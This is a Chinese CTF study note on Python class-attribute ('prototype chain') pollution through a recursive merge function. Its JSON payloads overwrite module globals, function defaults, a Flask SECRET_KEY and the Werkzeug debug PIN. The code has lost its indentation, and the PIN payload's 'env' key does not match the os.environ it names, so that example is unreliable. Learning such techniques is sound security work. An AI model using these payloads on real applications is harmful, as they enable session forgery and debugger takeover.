Python原型链污染笔记

python原型链污染

在国赛中遇到了,当时断网,也没有自己专门去学过,比赛一打完当天晚上就狠狠补上了这个知识,恨啊呜呜,题目很简单的,但是自己没学过就没做出来;w;

Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。

关键代码

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

hasattr(object, name)

参数是一个对象和一个字符串。如果字符串是对象的一个属性,则返回True,否则返回False

下面代码逻辑就是递归查找k,如果对应的值是字典再次递归,直到查找到对应的值然后修改

利用思路

我们要污染的目标是一个类的父类,所以我们会用到关键的两个魔法属性

__class__

用于获取一个对象的类,这是一个对象的内置属性,它指向定义该对象的类,反射用的,在运行中获取一个类

__base__

属性用于获取一个类的直接父类(基类),如果一个类没有显式地继承其他类,那么它的基类是内置的 object

那么我们就可以通过这两个属性来污染他的父类

下面简单看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class a1:
secret = "aaa"
class b1(a1):
pass
class b2(a1):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = b2()
payload = {
"__class__" : {
"__base__" : {
"secret" : "bbb"
}
}
}

print(b1.__class__,b1.__base__)
print(b1.secret)
print(instance.secret)
merge(payload, instance)


print(b1.secret)
print(instance.secret)

在我们污染了之后就发现我们的b1和b2的secret属性都变成了bbb

可以的话可以自行在merge(payload, instance)处打个断点进行调试

思路就是先__class__反射获取能调用到的类,然后用__base__获取到父类,然后对自己需要的目标进行污染

利用

获取全局变量

在很多类中我们可以看到有很多类会有__init__方法,用于一个类的初始化。

带有__init__的类有一个特性,那就是有__globals__属性,可以简单做一个测试

1
2
3
4
5
6
7
8
class A:
def __init__(self):
pass
class B:
pass

print(dir(A.__init__))
print(dir(B.__init__))

我们可以看见在A的属性里面多了一个__globals__属性,而__globals__属性是干什么的呢

__globals__用于访问函数所属的全局命名空间。具体来说,它返回一个字典,表示函数定义时所在模块的全局变量和函数

也就是说我们可以通过这个变量来修改整体的函数,下面简单看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
secret="aaa"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
payload = {
"__init__" : {
"__globals__" : {
"secret" : "bbb"
}
}
}

class A:
def __init__(self):
pass

print(A.__init__.__globals__)

print(secret)
merge(payload,A)
print(secret)

成功修改secret属性

函数形参默认值替换

在此衍生还有一个打法就是函数形参默认值替换

当我们去定义一个函数时,可以为其中的参数指定默认值。类似这样

1
2
def a(a=1,b=2,c=3):
pass

而a中的默认参数会被存储在__defaults__中,我们可以简单看一下

1
2
3
4
def a(a=1,b=2,c=3):
pass
print(dir(a))
print(a.__defaults__)

所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换

打法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
payload = {
"__init__" : {
"__globals__" : {
"a" : {
"__defaults__":(3,4,5)
}
}
}
}

class A:
def __init__(self):
pass
def a(a=1,b=2,c=3):
print(a,b,c)

a()
merge(payload,A)
a()

**修改关键信息

flask 密钥

payload

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"test"
}
}
}
}
}

flask pin码

同理的修改os.environ[‘WERKZEUG_DEBUG_PIN’]

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"os" : {
"env" : {
"WERKZEUG_DEBUG_PIN" :"123-123-123"
}
}
}
}
}